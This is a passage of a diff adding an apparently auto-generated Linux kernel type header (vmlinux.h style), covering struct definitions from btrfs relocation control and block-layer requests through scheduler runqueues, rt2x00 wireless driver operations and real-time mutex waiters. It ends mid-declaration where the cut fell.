+}; + +struct reloc_control { + struct btrfs_block_group *block_group; + struct btrfs_root *extent_root; + struct inode *data_inode; + struct btrfs_block_rsv *block_rsv; + struct btrfs_backref_cache backref_cache; + struct file_extent_cluster cluster; + struct extent_io_tree processed_blocks; + struct mapping_tree reloc_root_tree; + struct list_head reloc_roots; + struct list_head dirty_subvol_roots; + u64 merging_rsv_size; + u64 nodes_relocated; + u64 reserved_bytes; + u64 search_start; + u64 extents_found; + enum reloc_stage stage; + bool create_reloc_tree; + bool merge_reloc_tree; + bool found_file_extent; +}; + +typedef int (*remote_function_f)(void *); + +struct remote_function_call { + struct task_struct *p; + remote_function_f func; + void *info; + int ret; +}; + +struct remote_output { + struct perf_buffer *rb; + int err; +}; + +struct renamedata { + struct mnt_idmap *old_mnt_idmap; + struct inode *old_dir; + struct dentry *old_dentry; + struct mnt_idmap *new_mnt_idmap; + struct inode *new_dir; + struct dentry *new_dentry; + struct inode **delegated_inode; + unsigned int flags; +}; + +struct repcodes_s { + U32 rep[3]; +}; + +typedef struct repcodes_s repcodes_t; + +struct req { + struct req *next; + struct completion done; + int err; + const char *name; + umode_t mode; + kuid_t uid; + kgid_t gid; + struct device *dev; +}; + +struct req_iterator { + struct bvec_iter iter; + struct bio *bio; +}; + +typedef enum rq_end_io_ret rq_end_io_fn(struct request *, blk_status_t); + +struct request { + struct request_queue *q; + struct blk_mq_ctx *mq_ctx; + struct blk_mq_hw_ctx *mq_hctx; + blk_opf_t cmd_flags; + req_flags_t rq_flags; + int tag; + int internal_tag; + unsigned int timeout; + unsigned int __data_len; + sector_t __sector; + struct bio *bio; + struct bio *biotail; + union { + struct list_head queuelist; + struct request *rq_next; + }; + struct block_device *part; + u64 alloc_time_ns; + u64 start_time_ns; + u64 io_start_time_ns; + unsigned short wbt_flags; + unsigned short stats_sectors; + unsigned short nr_phys_segments; + enum rw_hint write_hint; + unsigned short ioprio; + enum mq_rq_state state; + atomic_t ref; + unsigned long deadline; + union { + struct hlist_node hash; + struct llist_node ipi_list; + }; + union { + struct rb_node rb_node; + struct bio_vec special_vec; + }; + struct { + struct io_cq *icq; + void *priv[2]; + } elv; + struct { + unsigned int seq; + rq_end_io_fn *saved_end_io; + } flush; + u64 fifo_time; + rq_end_io_fn *end_io; + void *end_io_data; +}; + +struct request_key_auth { + struct callback_head rcu; + struct key *target_key; + struct key *dest_keyring; + const struct cred *cred; + void *callout_info; + size_t callout_len; + pid_t pid; + char op[8]; +}; + +struct throtl_data; + +struct request_queue { + void *queuedata; + struct elevator_queue *elevator; + const struct blk_mq_ops *mq_ops; + struct blk_mq_ctx __attribute__((btf_type_tag("percpu"))) *queue_ctx; + unsigned long queue_flags; + unsigned int rq_timeout; + unsigned int queue_depth; + refcount_t refs; + unsigned int nr_hw_queues; + struct xarray hctx_table; + struct percpu_ref q_usage_counter; + struct request *last_merge; + spinlock_t queue_lock; + int quiesce_depth; + struct gendisk *disk; + struct kobject *mq_kobj; + struct queue_limits limits; + struct device *dev; + enum rpm_status rpm_status; + atomic_t pm_only; + struct blk_queue_stats *stats; + struct rq_qos *rq_qos; + struct mutex rq_qos_mutex; + int id; + unsigned long nr_requests; + struct timer_list timeout; + struct work_struct timeout_work; + atomic_t nr_active_requests_shared_tags; + struct blk_mq_tags *sched_shared_tags; + struct list_head icq_list; + unsigned long blkcg_pols[1]; + struct blkcg_gq *root_blkg; + struct list_head blkg_list; + struct mutex blkcg_mutex; + int node; + spinlock_t requeue_lock; + struct list_head requeue_list; + struct delayed_work requeue_work; + struct blk_trace __attribute__((btf_type_tag("rcu"))) *blk_trace; + struct blk_flush_queue *fq; + struct list_head flush_list; + struct mutex sysfs_lock; + struct mutex sysfs_dir_lock; + struct mutex limits_lock; + struct list_head unused_hctx_list; + spinlock_t unused_hctx_lock; + int mq_freeze_depth; + struct throtl_data *td; + struct callback_head callback_head; + wait_queue_head_t mq_freeze_wq; + struct mutex mq_freeze_lock; + struct blk_mq_tag_set *tag_set; + struct list_head tag_set_list; + struct dentry *debugfs_dir; + struct dentry *sched_debugfs_dir; + struct dentry *rqos_debugfs_dir; + struct mutex debugfs_mutex; + bool mq_sysfs_init_done; +}; + +struct request_sense { + __u8 error_code: 7; + __u8 valid: 1; + __u8 segment_number; + __u8 sense_key: 4; + __u8 reserved2: 1; + __u8 ili: 1; + __u8 reserved1: 2; + __u8 information[4]; + __u8 add_sense_len; + __u8 command_info[4]; + __u8 asc; + __u8 ascq; + __u8 fruc; + __u8 sks[3]; + __u8 asb[46]; +}; + +struct request_sock__safe_rcu_or_null { + struct sock *sk; +}; + +struct request_sock_ops { + int family; + unsigned int obj_size; + struct kmem_cache *slab; + char *slab_name; + int (*rtx_syn_ack)(const struct sock *, struct request_sock *); + void (*send_ack)(const struct sock *, struct sk_buff *, struct request_sock *); + void (*send_reset)(const struct sock *, struct sk_buff *, enum sk_rst_reason); + void (*destructor)(struct request_sock *); + void (*syn_ack_timeout)(const struct request_sock *); +}; + +struct res_proc_context { + struct list_head *list; + int (*preproc)(struct acpi_resource *, void *); + void *preproc_data; + int count; + int error; +}; + +struct reserve_mem_table { + char name[16]; + phys_addr_t start; + phys_addr_t size; +}; + +struct reserve_ticket { + u64 bytes; + int error; + bool steal; + struct list_head list; + wait_queue_head_t wait; +}; + +typedef resource_size_t (*resource_alignf)(void *, const struct resource *, resource_size_t, resource_size_t); + +struct resource_constraint { + resource_size_t min; + resource_size_t max; + resource_size_t align; + resource_alignf alignf; + void *alignf_data; +}; + +struct resource_entry { + struct list_head node; + struct resource *res; + resource_size_t offset; + struct resource __res; +}; + +struct resource_win { + struct resource res; + resource_size_t offset; +}; + +struct restart_block { + unsigned long arch_data; + long (*fn)(struct restart_block *); + union { + struct { + u32 __attribute__((btf_type_tag("user"))) *uaddr; + u32 val; + u32 flags; + u32 bitset; + u64 time; + u32 __attribute__((btf_type_tag("user"))) *uaddr2; + } futex; + struct { + clockid_t clockid; + enum timespec_type type; + union { + struct __kernel_timespec __attribute__((btf_type_tag("user"))) *rmtp; + struct old_timespec32 __attribute__((btf_type_tag("user"))) *compat_rmtp; + }; + u64 expires; + } nanosleep; + struct { + struct pollfd __attribute__((btf_type_tag("user"))) *ufds; + int nfds; + int has_timeout; + unsigned long tv_sec; + unsigned long tv_nsec; + } poll; + }; +}; + +struct restore_data_record { + unsigned long jump_address; + unsigned long jump_address_phys; + unsigned long cr3; + unsigned long magic; + unsigned long e820_checksum; +}; + +struct resume_swap_area { + __kernel_loff_t offset; + __u32 dev; +} __attribute__((packed)); + +struct resv_map { + struct kref refs; + spinlock_t lock; + struct list_head regions; + long adds_in_progress; + struct list_head region_cache; + long region_cache_count; + struct rw_semaphore rw_sema; + struct page_counter *reservation_counter; + unsigned long pages_per_hpage; + struct cgroup_subsys_state *css; +}; + +struct resync_pages { + void *raid_bio; + struct page *pages[16]; +}; + +struct rethook { + void *data; + void (*handler)(struct rethook_node *, void *, unsigned long, struct pt_regs *); + struct objpool_head pool; + struct callback_head rcu; +}; + +struct return_instance { + struct uprobe *uprobe; + unsigned long func; + unsigned long stack; + unsigned long orig_ret_vaddr; + bool chained; + struct return_instance *next; +}; + +struct reuseport_array { + struct bpf_map map; + struct sock __attribute__((btf_type_tag("rcu"))) *ptrs[0]; +}; + +struct rf_channel { + int channel; + u32 rf1; + u32 rf2; + u32 rf3; + u32 rf4; +}; + +struct rf_reg_pair { + u8 bank; + u8 reg; + u8 value; +}; + +struct rgb { + u8 r; + u8 g; + u8 b; +}; + +struct rhash_lock_head {}; + +struct rhashtable_compare_arg { + struct rhashtable *ht; + const void *key; +}; + +struct ring_buffer_event { + u32 type_len: 5; + u32 time_delta: 27; + u32 array[0]; +}; + +struct ring_buffer_per_cpu; + +struct ring_buffer_iter { + struct ring_buffer_per_cpu *cpu_buffer; + unsigned long head; + unsigned long next_event; + struct buffer_page *head_page; + struct buffer_page *cache_reader_page; + unsigned long cache_read; + unsigned long cache_pages_removed; + u64 read_stamp; + u64 page_stamp; + struct ring_buffer_event *event; + size_t event_size; + int missed_events; +}; + +struct ring_buffer_meta { + int magic; + int struct_size; + unsigned long text_addr; + unsigned long data_addr; + unsigned long first_buffer; + unsigned long head_buffer; + unsigned long commit_buffer; + __u32 subbuf_size; + __u32 nr_subbufs; + int buffers[0]; +}; + +struct trace_buffer_meta; + +struct ring_buffer_per_cpu { + int cpu; + atomic_t record_disabled; + atomic_t resize_disabled; + struct trace_buffer *buffer; + raw_spinlock_t reader_lock; + arch_spinlock_t lock; + struct lock_class_key lock_key; + struct buffer_data_page *free_page; + unsigned long nr_pages; + unsigned int current_context; + struct list_head *pages; + struct buffer_page *head_page; + struct buffer_page *tail_page; + struct buffer_page *commit_page; + struct buffer_page *reader_page; + unsigned long lost_events; + unsigned long last_overrun; + unsigned long nest; + local_t entries_bytes; + local_t entries; + local_t overrun; + local_t commit_overrun; + local_t dropped_events; + local_t committing; + local_t commits; + local_t pages_touched; + local_t pages_lost; + local_t pages_read; + long last_pages_touch; + size_t shortest_full; + unsigned long read; + unsigned long read_bytes; + rb_time_t write_stamp; + rb_time_t before_stamp; + u64 event_stamp[5]; + u64 read_stamp; + unsigned long pages_removed; + unsigned int mapped; + unsigned int user_mapped; + struct mutex mapping_lock; + unsigned long *subbuf_ids; + struct trace_buffer_meta *meta_page; + struct ring_buffer_meta *ring_meta; + long nr_pages_to_update; + struct list_head new_pages; + struct work_struct update_pages_work; + struct completion update_done; + struct rb_irq_work irq_work; +}; + +struct ring_info { + struct sk_buff *skb; + u32 len; +}; + +struct rings_reply_data { + struct ethnl_reply_data base; + struct ethtool_ringparam ringparam; + struct kernel_ethtool_ringparam kernel_ringparam; + u32 supported_ring_params; +}; + +struct rlimit64 { + __u64 rlim_cur; + __u64 rlim_max; +}; + +struct rmap_walk_arg { + struct folio *folio; + bool map_unused_to_zeropage; +}; + +struct rmap_walk_control { + void *arg; + bool try_lock; + bool contended; + bool (*rmap_one)(struct folio *, struct vm_area_struct *, unsigned long, void *); + int (*done)(struct folio *); + struct anon_vma * (*anon_lock)(struct folio *, struct rmap_walk_control *); + bool (*invalid_vma)(struct vm_area_struct *, void *); +}; + +struct rnd_state { + __u32 s1; + __u32 s2; + __u32 s3; + __u32 s4; +}; + +struct rng_alg { + int (*generate)(struct crypto_rng *, const u8 *, unsigned int, u8 *, unsigned int); + int (*seed)(struct crypto_rng *, const u8 *, unsigned int); + void (*set_ent)(struct crypto_rng *, const u8 *, unsigned int); + unsigned int seedsize; + struct crypto_alg base; +}; + +struct robust_list { + struct robust_list __attribute__((btf_type_tag("user"))) *next; +}; + +struct robust_list_head { + struct robust_list list; + long futex_offset; + struct robust_list __attribute__((btf_type_tag("user"))) *list_op_pending; +}; + +struct rock_ridge { + __u8 signature[2]; + __u8 len; + __u8 version; + union { + struct SU_SP_s SP; + struct SU_CE_s CE; + struct SU_ER_s ER; + struct RR_RR_s RR; + struct RR_PX_s PX; + struct RR_PN_s PN; + struct RR_SL_s SL; + struct RR_NM_s NM; + struct RR_CL_s CL; + struct RR_PL_s PL; + struct RR_TF_s TF; + struct RR_ZF_s ZF; + } u; +}; + +struct rock_state { + void *buffer; + unsigned char *chr; + int len; + int cont_size; + int cont_extent; + int cont_offset; + int cont_loops; + struct inode *inode; +}; + +struct root_device { + struct device dev; + struct module *owner; +}; + +struct root_domain { + atomic_t refcount; + atomic_t rto_count; + struct callback_head rcu; + cpumask_var_t span; + cpumask_var_t online; + bool overloaded; + bool overutilized; + cpumask_var_t dlo_mask; + atomic_t dlo_count; + struct dl_bw dl_bw; + struct cpudl cpudl; + u64 visit_gen; + struct irq_work rto_push_work; + raw_spinlock_t rto_lock; + int rto_loop; + int rto_cpu; + atomic_t rto_loop_next; + atomic_t rto_loop_start; + cpumask_var_t rto_mask; + struct cpupri cpupri; + struct perf_domain __attribute__((btf_type_tag("rcu"))) *pd; +}; + +struct root_name_map { + u64 id; + const char *name; +}; + +struct rps_dev_flow { + u16 cpu; + u16 filter; + unsigned int last_qtail; +}; + +struct rps_dev_flow_table { + unsigned int mask; + struct callback_head rcu; + struct rps_dev_flow flows[0]; +}; + +struct rps_map { + unsigned int len; + struct callback_head rcu; + u16 cpus[0]; +}; + +struct rps_sock_flow_table { + u32 mask; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + u32 ents[0]; +}; + +struct uclamp_bucket { + unsigned long value: 11; + unsigned long tasks: 53; +}; + +struct uclamp_rq { + unsigned int value; + struct uclamp_bucket bucket[5]; +}; + +struct rt_prio_array { + unsigned long bitmap[2]; + struct list_head queue[100]; +}; + +struct rt_rq { + struct rt_prio_array active; + unsigned int rt_nr_running; + unsigned int rr_nr_running; + struct { + int curr; + int next; + } highest_prio; + bool overloaded; + struct plist_head pushable_tasks; + int rt_queued; +}; + +struct scx_dispatch_q { + raw_spinlock_t lock; + struct list_head list; + struct rb_root priq; + u32 nr; + u32 seq; + u64 id; + struct rhash_head hash_node; + struct llist_node free_node; + struct callback_head rcu; +}; + +struct scx_rq { + struct scx_dispatch_q local_dsq; + struct list_head runnable_list; + struct list_head ddsp_deferred_locals; + unsigned long ops_qseq; + u64 extra_enq_flags; + u32 nr_running; + u32 flags; + u32 cpuperf_target; + bool cpu_released; + cpumask_var_t cpus_to_kick; + cpumask_var_t cpus_to_kick_if_idle; + cpumask_var_t cpus_to_preempt; + cpumask_var_t cpus_to_wait; + unsigned long pnt_seq; + struct balance_callback deferred_bal_cb; + struct irq_work deferred_irq_work; + struct irq_work kick_cpus_irq_work; +}; + +struct sched_dl_entity; + +typedef bool (*dl_server_has_tasks_f)(struct sched_dl_entity *); + +typedef struct task_struct * (*dl_server_pick_f)(struct sched_dl_entity *); + +struct sched_dl_entity { + struct rb_node rb_node; + u64 dl_runtime; + u64 dl_deadline; + u64 dl_period; + u64 dl_bw; + u64 dl_density; + s64 runtime; + u64 deadline; + unsigned int flags; + unsigned int dl_throttled: 1; + unsigned int dl_yielded: 1; + unsigned int dl_non_contending: 1; + unsigned int dl_overrun: 1; + unsigned int dl_server: 1; + unsigned int dl_defer: 1; + unsigned int dl_defer_armed: 1; + unsigned int dl_defer_running: 1; + struct hrtimer dl_timer; + struct hrtimer inactive_timer; + struct rq *rq; + dl_server_has_tasks_f server_has_tasks; + dl_server_pick_f server_pick_task; + struct sched_dl_entity *pi_se; +}; + +struct rq { + raw_spinlock_t __lock; + unsigned int nr_running; + unsigned long last_blocked_load_update_tick; + unsigned int has_blocked_load; + long: 64; + call_single_data_t nohz_csd; + unsigned int nohz_tick_stopped; + atomic_t nohz_flags; + unsigned int ttwu_pending; + u64 nr_switches; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + struct uclamp_rq uclamp[2]; + unsigned int uclamp_flags; + long: 64; + long: 64; + long: 64; + struct cfs_rq cfs; + struct rt_rq rt; + struct dl_rq dl; + struct scx_rq scx; + struct sched_dl_entity fair_server; + struct list_head leaf_cfs_rq_list; + struct list_head *tmp_alone_branch; + unsigned int nr_uninterruptible; + struct task_struct __attribute__((btf_type_tag("rcu"))) *curr; + struct sched_dl_entity *dl_server; + struct task_struct *idle; + struct task_struct *stop; + unsigned long next_balance; + struct mm_struct *prev_mm; + unsigned int clock_update_flags; + u64 clock; + u64 clock_task; + u64 clock_pelt; + unsigned long lost_idle_time; + u64 clock_pelt_idle; + u64 clock_idle; + atomic_t nr_iowait; + u64 last_seen_need_resched_ns; + int ticks_without_resched; + int membarrier_state; + struct root_domain *rd; + struct sched_domain __attribute__((btf_type_tag("rcu"))) *sd; + unsigned long cpu_capacity; + struct balance_callback *balance_callback; + unsigned char nohz_idle_balance; + unsigned char idle_balance; + unsigned long misfit_task_load; + int active_balance; + int push_cpu; + struct cpu_stop_work active_balance_work; + int cpu; + int online; + struct list_head cfs_tasks; + struct sched_avg avg_rt; + struct sched_avg avg_dl; + u64 idle_stamp; + u64 avg_idle; + u64 max_idle_balance_cost; + struct rcuwait hotplug_wait; + unsigned long calc_load_update; + long calc_load_active; + long: 64; + long: 64; + call_single_data_t hrtick_csd; + struct hrtimer hrtick_timer; + ktime_t hrtick_time; + struct cpuidle_state *idle_state; + unsigned int nr_pinned; + unsigned int push_busy; + struct cpu_stop_work push_work; + struct rq *core; + struct task_struct *core_pick; + struct sched_dl_entity *core_dl_server; + unsigned int core_enabled; + unsigned int core_sched_seq; + struct rb_root core_tree; + unsigned int core_task_seq; + unsigned int core_pick_seq; + unsigned long core_cookie; + unsigned int core_forceidle_count; + unsigned int core_forceidle_seq; + unsigned int core_forceidle_occupation; + u64 core_forceidle_start; + cpumask_var_t scratch_mask; + call_single_data_t cfsb_csd; + struct list_head cfsb_csd_list; + long: 64; + long: 64; +}; + +struct rq_depth { + unsigned int max_depth; + int scale_step; + bool scaled_max; + unsigned int queue_depth; + unsigned int default_depth; +}; + +struct rq_iter_data { + struct blk_mq_hw_ctx *hctx; + bool has_rq; +}; + +struct rq_map_data { + struct page **pages; + unsigned long offset; + unsigned short page_order; + unsigned short nr_entries; + bool null_mapped; + bool from_user; +}; + +struct rq_qos_ops { + void (*throttle)(struct rq_qos *, struct bio *); + void (*track)(struct rq_qos *, struct request *, struct bio *); + void (*merge)(struct rq_qos *, struct request *, struct bio *); + void (*issue)(struct rq_qos *, struct request *); + void (*requeue)(struct rq_qos *, struct request *); + void (*done)(struct rq_qos *, struct request *); + void (*done_bio)(struct rq_qos *, struct bio *); + void (*cleanup)(struct rq_qos *, struct bio *); + void (*queue_depth_changed)(struct rq_qos *); + void (*exit)(struct rq_qos *); + const struct blk_mq_debugfs_attr *debugfs_attrs; +}; + +typedef bool acquire_inflight_cb_t(struct rq_wait *, void *); + +struct rq_qos_wait_data { + struct wait_queue_entry wq; + struct task_struct *task; + struct rq_wait *rqw; + acquire_inflight_cb_t *cb; + void *private_data; + bool got_token; +}; + +struct rq_wb { + unsigned int wb_background; + unsigned int wb_normal; + short enable_state; + unsigned int unknown_cnt; + u64 win_nsec; + u64 cur_win_nsec; + struct blk_stat_callback *cb; + u64 sync_issue; + void *sync_cookie; + unsigned long last_issue; + unsigned long last_comp; + unsigned long min_lat_nsec; + struct rq_qos rqos; + struct rq_wait rq_wait[3]; + struct rq_depth rq_depth; +}; + +struct rs_bfer_active_iter_data { + struct ieee80211_sta *exclude_sta; + struct iwl_mvm_sta *bfer_mvmsta; +}; + +struct rs_init_rate_info { + s8 rssi; + u8 rate_idx; +}; + +struct rs_msg { + struct icmp6hdr icmph; + __u8 opt[0]; +}; + +struct rs_tx_column; + +typedef bool (*allow_column_func_t)(struct iwl_mvm *, struct ieee80211_sta *, struct rs_rate *, const struct rs_tx_column *); + +struct rs_tx_column { + enum rs_column_mode mode; + u8 ant; + bool sgi; + enum rs_column next_columns[7]; + allow_column_func_t checks[3]; +}; + +struct rsa_asn1_template { + const char *name; + const u8 *data; + size_t size; +}; + +struct rsa_key { + const u8 *n; + const u8 *e; + const u8 *d; + const u8 *p; + const u8 *q; + const u8 *dp; + const u8 *dq; + const u8 *qinv; + size_t n_sz; + size_t e_sz; + size_t d_sz; + size_t p_sz; + size_t q_sz; + size_t dp_sz; + size_t dq_sz; + size_t qinv_sz; +}; + +struct rsa_mpi_key { + MPI n; + MPI e; + MPI d; + MPI p; + MPI q; + MPI dp; + MPI dq; + MPI qinv; +}; + +struct rseq { + __u32 cpu_id_start; + __u32 cpu_id; + __u64 rseq_cs; + __u32 flags; + __u32 node_id; + __u32 mm_cid; + char end[0]; +}; + +struct rseq_cs { + __u32 version; + __u32 flags; + __u64 start_ip; + __u64 post_commit_offset; + __u64 abort_ip; +}; + +struct rss_nl_dump_ctx { + unsigned long ifindex; + unsigned long ctx_idx; + unsigned int match_ifindex; + unsigned int start_ctx; +}; + +struct rss_reply_data { + struct ethnl_reply_data base; + bool no_key_fields; + u32 indir_size; + u32 hkey_size; + u32 hfunc; + u32 input_xfrm; + u32 *indir_table; + u8 *hkey; +}; + +struct rss_req_info { + struct ethnl_req_info base; + u32 rss_context; +}; + +struct rsvd_count { + int ndelayed; + bool first_do_lblk_found; + ext4_lblk_t first_do_lblk; + ext4_lblk_t last_do_lblk; + struct extent_status *left_es; + bool partial; + ext4_lblk_t lclu; +}; + +struct rt0_hdr { + struct ipv6_rt_hdr rt_hdr; + __u32 reserved; + struct in6_addr addr[0]; +}; + +struct rt2800_drv_data { + u8 calibration_bw20; + u8 calibration_bw40; + s8 rx_calibration_bw20; + s8 rx_calibration_bw40; + s8 tx_calibration_bw20; + s8 tx_calibration_bw40; + u8 bbp25; + u8 bbp26; + u8 txmixer_gain_24g; + u8 txmixer_gain_5g; + u8 max_psdu; + unsigned int tbtt_tick; + unsigned int ampdu_factor_cnt[4]; + unsigned long sta_ids[3]; + struct ieee80211_sta *wcid_to_sta[191]; +}; + +struct rt2x00_field32; + +struct rt2800_ops { + u32 (*register_read)(struct rt2x00_dev *, const unsigned int); + u32 (*register_read_lock)(struct rt2x00_dev *, const unsigned int); + void (*register_write)(struct rt2x00_dev *, const unsigned int, u32); + void (*register_write_lock)(struct rt2x00_dev *, const unsigned int, u32); + void (*register_multiread)(struct rt2x00_dev *, const unsigned int, void *, const u32); + void (*register_multiwrite)(struct rt2x00_dev *, const unsigned int, const void *, const u32); + int (*regbusy_read)(struct rt2x00_dev *, const unsigned int, const struct rt2x00_field32, u32 *); + int (*read_eeprom)(struct rt2x00_dev *); + bool (*hwcrypt_disabled)(struct rt2x00_dev *); + int (*drv_write_firmware)(struct rt2x00_dev *, const u8 *, const size_t); + int (*drv_init_registers)(struct rt2x00_dev *); + __le32 * (*drv_get_txwi)(struct queue_entry *); + unsigned int (*drv_get_dma_done)(struct data_queue *); +}; + +struct usb_ctrlrequest { + __u8 bRequestType; + __u8 bRequest; + __le16 wValue; + __le16 wIndex; + __le16 wLength; +}; + +struct rt2x00_async_read_data { + __le32 reg; + struct usb_ctrlrequest cr; + struct rt2x00_dev *rt2x00dev; + bool (*callback)(struct rt2x00_dev *, int, u32); +}; + +struct rt2x00_bar_list_entry { + struct list_head list; + struct callback_head head; + struct queue_entry *entry; + int block_acked; + __u8 ra[6]; + __u8 ta[6]; + __le16 control; + __le16 start_seq_num; +}; + +struct rt2x00_chan_survey { + u64 time_idle; + u64 time_busy; + u64 time_ext_busy; +}; + +struct rt2x00_chip { + u16 rt; + u16 rf; + u16 rev; + enum rt2x00_chip_intf intf; +}; + +struct rt2x00_ops; + +struct usb_anchor; + +struct rt2x00_dev { + struct device *dev; + const struct rt2x00_ops *ops; + void *drv_data; + struct ieee80211_hw *hw; + struct ieee80211_supported_band bands[6]; + struct rt2x00_chan_survey *chan_survey; + enum nl80211_band curr_band; + int curr_freq; + unsigned long flags; + unsigned long cap_flags; + int irq; + const char *name; + struct rt2x00_chip chip; + struct hw_mode_spec spec; + struct antenna_setup default_ant; + union csr csr; + struct mutex csr_mutex; + struct mutex conf_mutex; + unsigned int packet_filter; + unsigned int intf_ap_count; + unsigned int intf_sta_count; + unsigned int intf_associated; + unsigned int intf_beaconing; + struct ieee80211_iface_limit if_limits_ap; + struct ieee80211_iface_combination if_combinations[1]; + struct link link; + __le16 *eeprom; + u32 *rf; + short lna_gain; + u16 tx_power; + u8 short_retry; + u8 long_retry; + u8 rssi_offset; + u8 freq_offset; + u16 aid; + u16 beacon_int; + u16 rxdma_busy; + u16 txdma_busy; + unsigned long last_beacon; + struct ieee80211_low_level_stats low_level_stats; + struct workqueue_struct *workqueue; + struct work_struct intf_work; + struct work_struct rxdone_work; + struct work_struct txdone_work; + struct delayed_work autowakeup_work; + struct work_struct sleep_work; + unsigned int data_queues; + struct data_queue *rx; + struct data_queue *tx; + struct data_queue *bcn; + struct data_queue *atim; + const struct firmware *fw; + struct { + union { + struct __kfifo kfifo; + u32 *type; + const u32 *const_type; + char (*rectype)[0]; + u32 *ptr; + const u32 *ptr_const; + }; + u32 buf[0]; + } txstatus_fifo; + struct hrtimer txstatus_timer; + struct tasklet_struct txstatus_tasklet; + struct tasklet_struct pretbtt_tasklet; + struct tasklet_struct tbtt_tasklet; + struct tasklet_struct rxdone_tasklet; + struct tasklet_struct autowake_tasklet; + int rf_channel; + spinlock_t irqmask_lock; + struct list_head bar_list; + spinlock_t bar_list_lock; + unsigned int extra_tx_headroom; + struct usb_anchor *anchor; + unsigned int num_proto_errs; + struct clk *clk; +}; + +struct rt2x00_field16 { + u16 bit_offset; + u16 bit_mask; +}; + +struct rt2x00_field32 { + u32 bit_offset; + u32 bit_mask; +}; + +struct rt2x00_field8 { + u8 bit_offset; + u8 bit_mask; +}; + +struct rt2x00_intf { + struct mutex beacon_skb_mutex; + struct queue_entry *beacon; + bool enable_beacon; + unsigned long delayed_flags; + atomic_t seqno; +}; + +struct rt2x00lib_ops; + +struct rt2x00_ops { + const char *name; + const unsigned int drv_data_size; + const unsigned int max_ap_intf; + const unsigned int eeprom_size; + const unsigned int rf_size; + const unsigned int tx_queues; + void (*queue_init)(struct data_queue *); + const struct rt2x00lib_ops *lib; + const void *drv; + const struct ieee80211_ops *hw; +}; + +struct rt2x00_rate { + unsigned short flags; + unsigned short bitrate; + unsigned short ratemask; + unsigned short plcp; + unsigned short mcs; +}; + +struct rt2x00_sta { + int wcid; +}; + +struct rt2x00intf_conf { + enum nl80211_iftype type; + enum tsf_sync sync; + __le32 mac[2]; + __le32 bssid[2]; +}; + +struct rt2x00lib_conf { + struct ieee80211_conf *conf; + struct rf_channel rf; + struct channel_info channel; +}; + +struct rt2x00lib_crypto { + enum cipher cipher; + enum set_key_cmd cmd; + const u8 *address; + u32 bssidx; + u8 key[16]; + u8 tx_mic[8]; + u8 rx_mic[8]; + int wcid; +}; + +struct rt2x00lib_erp { + int short_preamble; + int cts_protection; + u32 basic_rates; + int slot_time; + short sifs; + short pifs; + short difs; + short eifs; + u16 beacon_int; + u16 ht_opmode; +}; + +struct txentry_desc; + +struct rxdone_entry_desc; + +struct rt2x00lib_ops { + irq_handler_t irq_handler; + void (*txstatus_tasklet)(struct tasklet_struct *); + void (*pretbtt_tasklet)(struct tasklet_struct *); + void (*tbtt_tasklet)(struct tasklet_struct *); + void (*rxdone_tasklet)(struct tasklet_struct *); + void (*autowake_tasklet)(struct tasklet_struct *); + int (*probe_hw)(struct rt2x00_dev *); + char * (*get_firmware_name)(struct rt2x00_dev *); + int (*check_firmware)(struct rt2x00_dev *, const u8 *, const size_t); + int (*load_firmware)(struct rt2x00_dev *, const u8 *, const size_t); + int (*initialize)(struct rt2x00_dev *); + void (*uninitialize)(struct rt2x00_dev *); + bool (*get_entry_state)(struct queue_entry *); + void (*clear_entry)(struct queue_entry *); + int (*set_device_state)(struct rt2x00_dev *, enum dev_state); + int (*rfkill_poll)(struct rt2x00_dev *); + void (*link_stats)(struct rt2x00_dev *, struct link_qual *); + void (*reset_tuner)(struct rt2x00_dev *, struct link_qual *); + void (*link_tuner)(struct rt2x00_dev *, struct link_qual *, const u32); + void (*gain_calibration)(struct rt2x00_dev *); + void (*vco_calibration)(struct rt2x00_dev *); + void (*watchdog)(struct rt2x00_dev *); + void (*start_queue)(struct data_queue *); + void (*kick_queue)(struct data_queue *); + void (*stop_queue)(struct data_queue *); + void (*flush_queue)(struct data_queue *, bool); + void (*tx_dma_done)(struct queue_entry *); + void (*write_tx_desc)(struct queue_entry *, struct txentry_desc *); + void (*write_tx_data)(struct queue_entry *, struct txentry_desc *); + void (*write_beacon)(struct queue_entry *, struct txentry_desc *); + void (*clear_beacon)(struct queue_entry *); + int (*get_tx_data_len)(struct queue_entry *); + void (*fill_rxdone)(struct queue_entry *, struct rxdone_entry_desc *); + int (*config_shared_key)(struct rt2x00_dev *, struct rt2x00lib_crypto *, struct ieee80211_key_conf *); + int (*config_pairwise_key)(struct rt2x00_dev *, struct rt2x00lib_crypto *, struct ieee80211_key_conf *); + void (*config_filter)(struct rt2x00_dev *, const unsigned int); + void (*config_intf)(struct rt2x00_dev *, struct rt2x00_intf *, struct rt2x00intf_conf *, const unsigned int); + void (*config_erp)(struct rt2x00_dev *, struct rt2x00lib_erp *, u32); + void (*config_ant)(struct rt2x00_dev *, struct antenna_setup *); + void (*config)(struct rt2x00_dev *, struct rt2x00lib_conf *, const unsigned int); + void (*pre_reset_hw)(struct rt2x00_dev *); + int (*sta_add)(struct rt2x00_dev *, struct ieee80211_vif *, struct ieee80211_sta *); + int (*sta_remove)(struct rt2x00_dev *, struct ieee80211_sta *); +}; + +struct rt6_exception { + struct hlist_node hlist; + struct rt6_info *rt6i; + unsigned long stamp; + struct callback_head rcu; +}; + +struct rt6_exception_bucket { + struct hlist_head chain; + int depth; +}; + +struct rt6_mtu_change_arg { + struct net_device *dev; + unsigned int mtu; + struct fib6_info *f6i; +}; + +struct rt6_nh { + struct fib6_info *fib6_info; + struct fib6_config r_cfg; + struct list_head next; +}; + +struct rt6_rtnl_dump_arg { + struct sk_buff *skb; + struct netlink_callback *cb; + struct net *net; + struct fib_dump_filter filter; +}; + +struct rt6_statistics { + __u32 fib_nodes; + __u32 fib_route_nodes; + __u32 fib_rt_entries; + __u32 fib_rt_cache; + __u32 fib_discarded_routes; + atomic_t fib_rt_alloc; +}; + +struct rt_cache_stat { + unsigned int in_slow_tot; + unsigned int in_slow_mc; + unsigned int in_no_route; + unsigned int in_brd; + unsigned int in_martian_dst; + unsigned int in_martian_src; + unsigned int out_slow_tot; + unsigned int out_slow_mc; +}; + +struct rt_waiter_node { + struct rb_node entry; + int prio; + u64 deadline; +}; + +struct rt_mutex_waiter { + struct rt_waiter_node tree; + struct rt_waiter_node pi_tree; + struct task_struct *task; + struct rt_mutex_base *lock; + unsigned int wake_state; + struct ww_acquire_ctx *ww_ctx; +}; + +typedef struct rt_rq *rt_rq_iter_t; + +struct sigaltstack { + void 